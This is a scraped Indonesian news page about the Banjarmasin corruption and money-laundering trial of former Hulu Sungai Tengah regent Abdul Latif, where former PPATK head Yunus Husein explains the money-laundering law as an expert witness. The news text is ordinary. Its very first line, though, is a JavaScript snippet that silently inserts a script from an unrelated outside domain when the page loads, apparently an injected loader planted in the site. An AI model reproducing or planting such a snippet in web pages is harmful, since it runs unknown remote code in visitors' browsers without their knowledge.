(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Eks Kepala PPATK Jadi Saksi Ahli Sidang Korupsi Mantan Bupati HST


KANALKALIMANTAN.COM, BANJARMASIN – Sidang kasus Gratifikasi dan Tindak Pidana Pencucian Uang (TPPU) terdakwa mantan Bupati Hulu Sungai Tengah (HST) Abdul Latif kembali bergulir di Pengadilan Tindak Pidana Korupsi (Tipikor) Banjarmasin.

Jaksa Penuntut Umum (JPU) KPK, Rabu (26/7/2023) siang, menghadirkan secara online seorang saksi ahli yang menjelaskan terkait TPPU.

Saksi ahli yang dihadirkan adalah mantan Kepala Pusat Pelaporan dan Analisis Transaksi Keuangan (PPATK) Yunus Husein. Dirinya menjelaskan latar belakang pembentukan Undang-Undang TPPU yang telah mengalami perubahan terakhir menjadi Undang-Undang Nomor 8 Tahun 2010.

Baca juga: Luasan Karhutla di Kalsel 425,381 Hektare, Banjarbaru dan Tala Dua Daerah Terparah  

Yunus menjelaskan, penyidik tidak wajib untuk membuktikan terlebih dahulu terkait adanya TPPU atau tindak pidana asalnya sebagaimana pasal 69 UU TPPU.

Sedangkan, terdakwa yang didakwa melakukan TPPU berhak melakukan pembuktian di persidangan terkait harta yang dikuasainya dengan pembuktian terbalik.

“Lalu di pasal 77, terdakwa membuktikan di persidangan sumber uang tersebut (pembuktian terbalik), kalau terdakwa gagal membuktikan berarti bisa diduga ada tindak pidana,” ucap dosen Fakultas Hukum Universitas Indonesia (UI) ini.

Kemudian dijelaskan, unsur dari TPPU yaitu jika ada penyamaran atau menyembunyikan harta hasil dari tindak kejahatan sebagaimana pasal 3 UU TPPU.

Baca juga: PLN Beri Bantuan Penanaman Pohon Berupa 600 Bibit Pohon Produktif di Pegunungan Meratus

Sebelumnya Abdul Latif selain didakwa Pasal 12B Jo Pasal 18 Undang-Undang Tipikor, ia juga didakwa dengan Pasal 3 Undang-Undang Nomor 8 Tahun 2010 tentang TPPU.

Ditemui usai persidangan, JPU KPK Meser Simanjuntak mengatakan pihaknya hanya menghadirkan satu saksi ahli dalam perkara Abdul Latif ini. Sehingga pembuktian dari penuntut umum dinyatakan telah selesai.

“Satu ahli kami rasa sudah cukup menjelaskan tentang pencucian uang,” ungkap Meser.

Sementara itu, terdakwa Abdul Latif mengatakan tidak mengajukan saksi maupun ahli yang meringankan (a decharge).

Baca juga: Mengenang Jejak Tokoh Pers Indonesia dari Buku “Melawat ke Talawi, Tapak Langkah Wartawan Adinegoro”

Dia mengatakan akan membuktikan kepemilikan hartanya yang disita KPK saat agenda pemeriksaan terdakwa.

“Pembuktian saat saya diperiksa sbg terdakwa saja, untuk saksi dan ahli tidak ada,” ujarnya kepada majelis hakim yang diketuai Jamser Simanjuntak.

Sidang akan kembali digelar Rabu (2/8/2023) di ruang sidang Pengadilan Tipikor Banjarmasin dengan agenda pemeriksaan terdakwa Abdul Latif. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Risa

Recent Posts

5 Nama Pendaftar Bacalon Pilwali Banjarbaru ke PDIP

KANALKALIMANTAN.COM, BANJARBARU - Lima buah formulir pendaftaran diambil oleh lima orang bakal calon Pilkada 2024… Read More

3 jam ago

Acil Odah Resmi Lamar Golkar Maju Pilgub Kalsel 2024

KANALKALIMANTAN.COM, BANJARMASIN - Langkah Hj Raudatul Jannah alias Acil Odah untuk maju pada kontestasi Pemilihan… Read More

4 jam ago

Golkar Banjarbaru Buka Penjaringan Bakal Calon Wali Kota

KANALKALIMANTAN.COM, BANJARBARU - DPD Partai Golkar Kota Banjarbaru membuka pendaftaran bakal calon Wali Kota dan… Read More

4 jam ago

Soal Pungutan Acara Perpisahan Siswa, Ini Kata Ketua DPRD Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru menyikapi persoalan iuran kegiatan acara… Read More

8 jam ago

Pungutan Acara Perpisahaan Siswa, Begini Respon Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU – Menyikapi pungutan acara perpisahan siswa sekolah di Banjarbaru, Wali Kota Banjarbaru Aditya… Read More

9 jam ago

Orangtua Pusing, ‘Bermewah-mewahan’ Perpisahan Anak Sekolah di Banjarbaru

Kadisdik: Silakan Perpisahan di Sekolah dan Dilakukan dengan Sederhana Read More

19 jam ago

This website uses cookies.